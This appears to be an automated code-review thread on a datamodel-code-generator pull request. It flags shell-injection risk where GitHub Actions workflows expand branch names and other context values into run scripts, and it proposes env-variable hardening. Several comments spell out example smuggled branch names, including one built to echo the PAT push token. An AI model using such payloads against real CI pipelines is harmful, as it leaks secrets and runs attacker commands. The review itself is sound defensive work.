Yes, there is a significant shell script injection risk when using GitHub Actions context variables, particularly those from the github context that contain user-controlled data, directly in run steps or inline scripts. Context variables like github.event.pull_request.title, github.event.issue.body, github.event.pull_request.body, branch names (github.ref_name), and others ending in .body, .title, .message, .name, .ref, .head_ref, .default_branch, or .email are potentially untrusted because attackers can control them (e.g., via malicious PR titles or branch names). The risk arises because GitHub evaluates
Citations:
- 1: https://docs.github.com/en/actions/concepts/security/script-injections
- 2: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/build-integrity-policies/github-actions-policies/ensure-run-commands-are-not-vulnerable-to-shell-injection
- 3: https://berkdede.medium.com/command-injection-by-design-when-github-actions-turns-metadata-into-code-aa644d396fb1
- 4: https://actsense.dev/vulnerabilities/risky_context_usage/
- 5: https://docs.github.com/en/actions/security-for-github-actions/security-guides/using-githubs-security-features-to-secure-your-use-of-github-actions
- 6: https://docs.github.com/en/actions/reference/workflows-and-actions/contexts
Move GitHub context values to environment variables before shell execution to prevent branch-name injection attacks.
Lines 89–94 interpolate untrusted GitHub context values directly into the shell script. Attackers can control branch names (line 94: github.event.pull_request.head.ref) and inject shell metacharacters (e.g., main"; echo $PUSH_TOKEN; #) to exfiltrate the PAT token. Assign context values to env variables in the env block first, then reference them as quoted shell variables.
🛡️ Proposed hardening
- name: Commit and push auto-fixes
if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository
env:
PUSH_TOKEN: ${{ secrets.PAT }}
+ EVENT_NAME: ${{ github.event_name }}
+ PUSH_REPO: ${{ github.repository }}
+ PUSH_REF: ${{ github.ref_name }}
+ PR_REPO: ${{ github.event.pull_request.head.repo.full_name }}
+ PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
@@
- if [ "${{ github.event_name }}" = "push" ]; then
- TARGET_REPO="${{ github.repository }}"
- TARGET_REF="${{ github.ref_name }}"
+ if [ "$EVENT_NAME" = "push" ]; then
+ TARGET_REPO="$PUSH_REPO"
+ TARGET_REF="$PUSH_REF"
else
- TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}"
- TARGET_REF="${{ github.event.pull_request.head.ref }}"
+ TARGET_REPO="$PR_REPO"
+ TARGET_REF="$PR_REF"
fi📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | |
| env: | |
| PUSH_TOKEN: ${{ secrets.PAT }} | |
| run: | | |
| git config user.name "github-actions[bot]" | |
| git config user.email "github-actions[bot]@users.noreply.github.com" | |
| git add -A | |
| if git diff --staged --quiet; then | |
| exit 0 | |
| fi | |
| git commit -m "style: auto-fix by prek" | |
| if [ "${{ github.event_name }}" = "push" ]; then | |
| TARGET_REPO="${{ github.repository }}" | |
| TARGET_REF="${{ github.ref_name }}" | |
| else | |
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | |
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | |
| fi | |
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" | |
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | |
| env: | |
| PUSH_TOKEN: ${{ secrets.PAT }} | |
| EVENT_NAME: ${{ github.event_name }} | |
| PUSH_REPO: ${{ github.repository }} | |
| PUSH_REF: ${{ github.ref_name }} | |
| PR_REPO: ${{ github.event.pull_request.head.repo.full_name }} | |
| PR_REF: ${{ github.event.pull_request.head.ref }} | |
| run: | | |
| git config user.name "github-actions[bot]" | |
| git config user.email "github-actions[bot]@users.noreply.github.com" | |
| git add -A | |
| if git diff --staged --quiet; then | |
| exit 0 | |
| fi | |
| git commit -m "style: auto-fix by prek" | |
| if [ "$EVENT_NAME" = "push" ]; then | |
| TARGET_REPO="$PUSH_REPO" | |
| TARGET_REF="$PUSH_REF" | |
| else | |
| TARGET_REPO="$PR_REPO" | |
| TARGET_REF="$PR_REF" | |
| fi | |
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
🧰 Tools
🪛 actionlint (1.7.12)
[error] 81-81: "github.event.pull_request.head.ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/lint.yaml around lines 78 - 96, Move all interpolated
GitHub context values into the workflow env block and reference them as quoted
shell variables to prevent branch-name injection: define env entries for
TARGET_REPO and TARGET_REF (using github.repository, github.ref_name,
github.event.pull_request.head.repo.full_name and
github.event.pull_request.head.ref as appropriate) alongside PUSH_TOKEN, then
update the shell script to use the quoted variables (e.g., "$TARGET_REPO" and
"$TARGET_REF") when constructing the git push URL and ref; ensure no direct
${...} GitHub context is expanded inside the run script and always quote the
variables to avoid shell metacharacter injection.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | ||
| env: | ||
| PUSH_TOKEN: ${{ secrets.PAT }} | ||
| run: | | ||
| git config user.name "github-actions[bot]" | ||
| git config user.email "github-actions[bot]@users.noreply.github.com" | ||
| git add docs/llms.txt docs/llms-full.txt | ||
| git diff --staged --quiet || git commit -m "docs: update llms.txt files | ||
|
|
||
| Generated by GitHub Actions" | ||
| git push | ||
| if git diff --staged --quiet; then | ||
| exit 0 | ||
| fi | ||
| git commit -m "docs: update llms.txt files" | ||
| if [ "${{ github.event_name }}" = "push" ]; then | ||
| TARGET_REPO="${{ github.repository }}" | ||
| TARGET_REF="${{ github.ref_name }}" | ||
| else | ||
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | ||
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | ||
| fi | ||
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# Check if the file exists and read the relevant lines
cd /tmp && git ls-files | grep -i "llms-txt.yaml"Repository: koxudaxi/datamodel-code-generator
Length of output: 145
🏁 Script executed:
# Read the file to verify the exact content and context
if [ -f ".github/workflows/llms-txt.yaml" ]; then
cat -n .github/workflows/llms-txt.yaml | sed -n '90,120p'
fiRepository: koxudaxi/datamodel-code-generator
Length of output: 1317
🏁 Script executed:
# Also check the full step to understand the complete context
if [ -f ".github/workflows/llms-txt.yaml" ]; then
cat -n .github/workflows/llms-txt.yaml | sed -n '85,125p'
fiRepository: koxudaxi/datamodel-code-generator
Length of output: 1537
Move GitHub context values to env to reduce injection surface when secrets are in scope.
Lines 106–111 interpolate untrusted GitHub context values (PR branch name, repo) directly into the inline shell script while PUSH_TOKEN containing secrets.PAT is in scope. Although current quoting limits immediate risk, this pattern should be hardened by moving all GitHub context to the env: section and referencing them as shell variables.
🛡️ Proposed hardening
- name: Commit and push if changed
if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository
env:
PUSH_TOKEN: ${{ secrets.PAT }}
+ EVENT_NAME: ${{ github.event_name }}
+ PUSH_REPO: ${{ github.repository }}
+ PUSH_REF: ${{ github.ref_name }}
+ PR_REPO: ${{ github.event.pull_request.head.repo.full_name }}
+ PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
@@
- if [ "${{ github.event_name }}" = "push" ]; then
- TARGET_REPO="${{ github.repository }}"
- TARGET_REF="${{ github.ref_name }}"
+ if [ "$EVENT_NAME" = "push" ]; then
+ TARGET_REPO="$PUSH_REPO"
+ TARGET_REF="$PUSH_REF"
else
- TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}"
- TARGET_REF="${{ github.event.pull_request.head.ref }}"
+ TARGET_REPO="$PR_REPO"
+ TARGET_REF="$PR_REF"
fi📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | |
| env: | |
| PUSH_TOKEN: ${{ secrets.PAT }} | |
| run: | | |
| git config user.name "github-actions[bot]" | |
| git config user.email "github-actions[bot]@users.noreply.github.com" | |
| git add docs/llms.txt docs/llms-full.txt | |
| git diff --staged --quiet || git commit -m "docs: update llms.txt files | |
| Generated by GitHub Actions" | |
| git push | |
| if git diff --staged --quiet; then | |
| exit 0 | |
| fi | |
| git commit -m "docs: update llms.txt files" | |
| if [ "${{ github.event_name }}" = "push" ]; then | |
| TARGET_REPO="${{ github.repository }}" | |
| TARGET_REF="${{ github.ref_name }}" | |
| else | |
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | |
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | |
| fi | |
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" | |
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | |
| env: | |
| PUSH_TOKEN: ${{ secrets.PAT }} | |
| EVENT_NAME: ${{ github.event_name }} | |
| PUSH_REPO: ${{ github.repository }} | |
| PUSH_REF: ${{ github.ref_name }} | |
| PR_REPO: ${{ github.event.pull_request.head.repo.full_name }} | |
| PR_REF: ${{ github.event.pull_request.head.ref }} | |
| run: | | |
| git config user.name "github-actions[bot]" | |
| git config user.email "github-actions[bot]@users.noreply.github.com" | |
| git add docs/llms.txt docs/llms-full.txt | |
| if git diff --staged --quiet; then | |
| exit 0 | |
| fi | |
| git commit -m "docs: update llms.txt files" | |
| if [ "$EVENT_NAME" = "push" ]; then | |
| TARGET_REPO="$PUSH_REPO" | |
| TARGET_REF="$PUSH_REF" | |
| else | |
| TARGET_REPO="$PR_REPO" | |
| TARGET_REF="$PR_REF" | |
| fi | |
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
🧰 Tools
🪛 actionlint (1.7.12)
[error] 98-98: "github.event.pull_request.head.ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/llms-txt.yaml around lines 95 - 113, Move all GitHub
context interpolations out of the inline run script and into the job env so
secrets are not exposed in the script scope; specifically, add env entries for
the values currently interpolated in the run block (github.event_name,
github.ref_name, github.event.pull_request.head.repo.full_name,
github.event.pull_request.head.ref) and then update the run logic that sets
TARGET_REPO and TARGET_REF (the variables used before the git push command) to
reference those env variables instead of using "${{ ... }}" inline; keep using
PUSH_TOKEN from env for the push URL but ensure the git push uses the env-based
TARGET_REPO and TARGET_REF variables.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | ||
| env: | ||
| PUSH_TOKEN: ${{ secrets.PAT }} | ||
| run: | | ||
| git config user.name "github-actions[bot]" | ||
| git config user.email "github-actions[bot]@users.noreply.github.com" | ||
| git add README.md docs/index.md | ||
| git diff --staged --quiet || git commit -m "docs: update command help in README | ||
|
|
||
| 🤖 Generated by GitHub Actions" | ||
| git push | ||
| if git diff --staged --quiet; then | ||
| exit 0 | ||
| fi | ||
| git commit -m "docs: update command help in README" | ||
| if [ "${{ github.event_name }}" = "push" ]; then | ||
| TARGET_REPO="${{ github.repository }}" | ||
| TARGET_REF="${{ github.ref_name }}" | ||
| else | ||
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | ||
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | ||
| fi | ||
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
git ls-files | grep -E "\.github/workflows"Repository: koxudaxi/datamodel-code-generator
Length of output: 596
🏁 Script executed:
cat -n .github/workflows/readme.yaml | sed -n '85,115p'Repository: koxudaxi/datamodel-code-generator
Length of output: 1353
🏁 Script executed:
wc -l .github/workflows/readme.yamlRepository: koxudaxi/datamodel-code-generator
Length of output: 110
🏁 Script executed:
rg "github.event.pull_request" .github/workflows/ -A 2 -B 2Repository: koxudaxi/datamodel-code-generator
Length of output: 20287
🏁 Script executed:
rg '\$\{\{' .github/workflows/readme.yaml | head -20Repository: koxudaxi/datamodel-code-generator
Length of output: 966
Move GitHub context values to environment variables to prevent shell injection.
Lines 102–107 expand PR event context directly into an inline shell script. A malicious branch name containing shell metacharacters (e.g., backticks or $()) would execute arbitrary commands. Pass all context values via env instead and reference them as shell variables.
🛡️ Proposed hardening
- name: Commit and push if changed
if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository
env:
PUSH_TOKEN: ${{ secrets.PAT }}
+ EVENT_NAME: ${{ github.event_name }}
+ PUSH_REPO: ${{ github.repository }}
+ PUSH_REF: ${{ github.ref_name }}
+ PR_REPO: ${{ github.event.pull_request.head.repo.full_name }}
+ PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
@@
- if [ "${{ github.event_name }}" = "push" ]; then
- TARGET_REPO="${{ github.repository }}"
- TARGET_REF="${{ github.ref_name }}"
+ if [ "$EVENT_NAME" = "push" ]; then
+ TARGET_REPO="$PUSH_REPO"
+ TARGET_REF="$PUSH_REF"
else
- TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}"
- TARGET_REF="${{ github.event.pull_request.head.ref }}"
+ TARGET_REPO="$PR_REPO"
+ TARGET_REF="$PR_REF"
fi🧰 Tools
🪛 actionlint (1.7.12)
[error] 94-94: "github.event.pull_request.head.ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/readme.yaml around lines 91 - 109, The inline shell uses
GitHub contexts directly to set TARGET_REPO and TARGET_REF which allows shell
injection; move the context values into workflow env variables (e.g., add env
entries for PUSH_TOKEN, PR_TARGET_REPO and PR_TARGET_REF or similar) and then
reference those env vars inside the run script to assign TARGET_REPO and
TARGET_REF (replace uses of github.event.pull_request.head.repo.full_name and
github.event.pull_request.head.ref with the new env vars). Ensure all context
expansions used in the run block are only read from the environment (not
interpolated into the script), and use the existing PUSH_TOKEN env var for the
git push URL.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | ||
| env: | ||
| PUSH_TOKEN: ${{ secrets.PAT }} | ||
| run: | | ||
| git config user.name "github-actions[bot]" | ||
| git config user.email "github-actions[bot]@users.noreply.github.com" | ||
| git add docs/supported_formats.md | ||
| if ! git diff --staged --quiet; then | ||
| git commit -m "docs: update schema feature documentation | ||
|
|
||
| 🤖 Generated by GitHub Actions" | ||
| git push | ||
| if git diff --staged --quiet; then | ||
| exit 0 | ||
| fi | ||
| git commit -m "docs: update schema feature documentation" | ||
| if [ "${{ github.event_name }}" = "push" ]; then | ||
| TARGET_REPO="${{ github.repository }}" | ||
| TARGET_REF="${{ github.ref_name }}" | ||
| else | ||
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | ||
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | ||
| fi | ||
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
cat -n .github/workflows/schema-docs.yaml | sed -n '90,120p'Repository: koxudaxi/datamodel-code-generator
Length of output: 1324
🏁 Script executed:
# Check GitHub's branch name restrictions
# Branch names can contain special characters that may break shell quoting
python3 << 'PYTHON_SCRIPT'
import re
# GitHub allows a broad range of characters in branch names
# Special characters that could break shell quoting:
dangerous_chars = [
'"', # double quote - breaks double-quoted strings
"'", # single quote - breaks single-quoted strings
'$', # dollar sign - allows variable expansion
'`', # backtick - allows command substitution
'\\', # backslash - escape character
'!', # exclamation - history expansion in bash
'\n', # newline - command injection
]
print("Characters that can break shell quoting in branch names:")
print("- Double quotes, single quotes, backticks")
print("- Dollar signs (variable expansion)")
print("- Backslashes (escape sequences)")
print("- Newlines (multi-line injection)")
print("\nExamples of dangerous branch names:")
examples = [
'feature/$(echo pwned)',
'bugfix/`whoami`',
'test/"; echo injected; echo "',
"feature/'; malicious_cmd; echo '",
]
for ex in examples:
print(f" {ex}")
print("\n--- Proposed fix analysis ---")
print("Moving to env vars: PR_REF=${{ github.event.pull_request.head.ref }}")
print("Then using: TARGET_REF=\"$PR_REF\"")
print("In command: git push \"...@github.com/${TARGET_REPO}.git\" \"HEAD:${TARGET_REF}\"")
print("\nThis contains the variable in double quotes, but:")
print("- $ expansion still happens inside \"...\"")
print("- Backticks and $() still execute if present")
print("- Proper fix would need: \"HEAD:${TARGET_REF//\"/}\" or similar escaping")
PYTHON_SCRIPTRepository: koxudaxi/datamodel-code-generator
Length of output: 764
🏁 Script executed:
git show HEAD:.github/workflows/schema-docs.yaml 2>/dev/null | sed -n '95,113p' || echo "File not in HEAD, checking working directory"Repository: koxudaxi/datamodel-code-generator
Length of output: 1017
🏁 Script executed:
# Verify the actual git push command structure and how variables are used
sed -n '95,113p' .github/workflows/schema-docs.yamlRepository: koxudaxi/datamodel-code-generator
Length of output: 1017
Pass PR refs through environment variables before shell use.
Line 111 expands github.event.pull_request.head.ref directly into the shell script with PUSH_TOKEN available. Although the step guards against fork PRs, same-repo branch names remain user-controlled and can contain shell metacharacters. Move context values to environment variables and reference them safely as shell variables.
🛡️ Proposed hardening
- name: Commit and push if changed
if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository
env:
PUSH_TOKEN: ${{ secrets.PAT }}
+ EVENT_NAME: ${{ github.event_name }}
+ PUSH_REPO: ${{ github.repository }}
+ PUSH_REF: ${{ github.ref_name }}
+ PR_REPO: ${{ github.event.pull_request.head.repo.full_name }}
+ PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
@@
- if [ "${{ github.event_name }}" = "push" ]; then
- TARGET_REPO="${{ github.repository }}"
- TARGET_REF="${{ github.ref_name }}"
+ if [ "$EVENT_NAME" = "push" ]; then
+ TARGET_REPO="$PUSH_REPO"
+ TARGET_REF="$PUSH_REF"
else
- TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}"
- TARGET_REF="${{ github.event.pull_request.head.ref }}"
+ TARGET_REPO="$PR_REPO"
+ TARGET_REF="$PR_REF"
fi📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | |
| env: | |
| PUSH_TOKEN: ${{ secrets.PAT }} | |
| run: | | |
| git config user.name "github-actions[bot]" | |
| git config user.email "github-actions[bot]@users.noreply.github.com" | |
| git add docs/supported_formats.md | |
| if ! git diff --staged --quiet; then | |
| git commit -m "docs: update schema feature documentation | |
| 🤖 Generated by GitHub Actions" | |
| git push | |
| if git diff --staged --quiet; then | |
| exit 0 | |
| fi | |
| git commit -m "docs: update schema feature documentation" | |
| if [ "${{ github.event_name }}" = "push" ]; then | |
| TARGET_REPO="${{ github.repository }}" | |
| TARGET_REF="${{ github.ref_name }}" | |
| else | |
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | |
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | |
| fi | |
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" | |
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | |
| env: | |
| PUSH_TOKEN: ${{ secrets.PAT }} | |
| EVENT_NAME: ${{ github.event_name }} | |
| PUSH_REPO: ${{ github.repository }} | |
| PUSH_REF: ${{ github.ref_name }} | |
| PR_REPO: ${{ github.event.pull_request.head.repo.full_name }} | |
| PR_REF: ${{ github.event.pull_request.head.ref }} | |
| run: | | |
| git config user.name "github-actions[bot]" | |
| git config user.email "github-actions[bot]@users.noreply.github.com" | |
| git add docs/supported_formats.md | |
| if git diff --staged --quiet; then | |
| exit 0 | |
| fi | |
| git commit -m "docs: update schema feature documentation" | |
| if [ "$EVENT_NAME" = "push" ]; then | |
| TARGET_REPO="$PUSH_REPO" | |
| TARGET_REF="$PUSH_REF" | |
| else | |
| TARGET_REPO="$PR_REPO" | |
| TARGET_REF="$PR_REF" | |
| fi | |
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
🧰 Tools
🪛 actionlint (1.7.12)
[error] 98-98: "github.event.pull_request.head.ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/schema-docs.yaml around lines 95 - 113, The workflow
currently expands github context values directly inside the shell run block
(using github.event.pull_request.head.ref / .head.repo.full_name) which can lead
to shell injection; instead, add environment variables (e.g., TARGET_REPO and
TARGET_REF) at the step level or export them at the start of the run by
assigning the github context to env vars (using the workflow env mapping) and
then reference those shell-safe variables (TARGET_REPO, TARGET_REF) in the
script; update the step so PUSH_TOKEN, TARGET_REPO and TARGET_REF are provided
via env and replace any direct github.context expansions in the run script with
the corresponding shell variables (TARGET_REPO, TARGET_REF) when building the
git push URL.
|
📚 Docs Preview: https://pr-3095.datamodel-code-generator.pages.dev |
Summary by CodeRabbit
New Features
Chores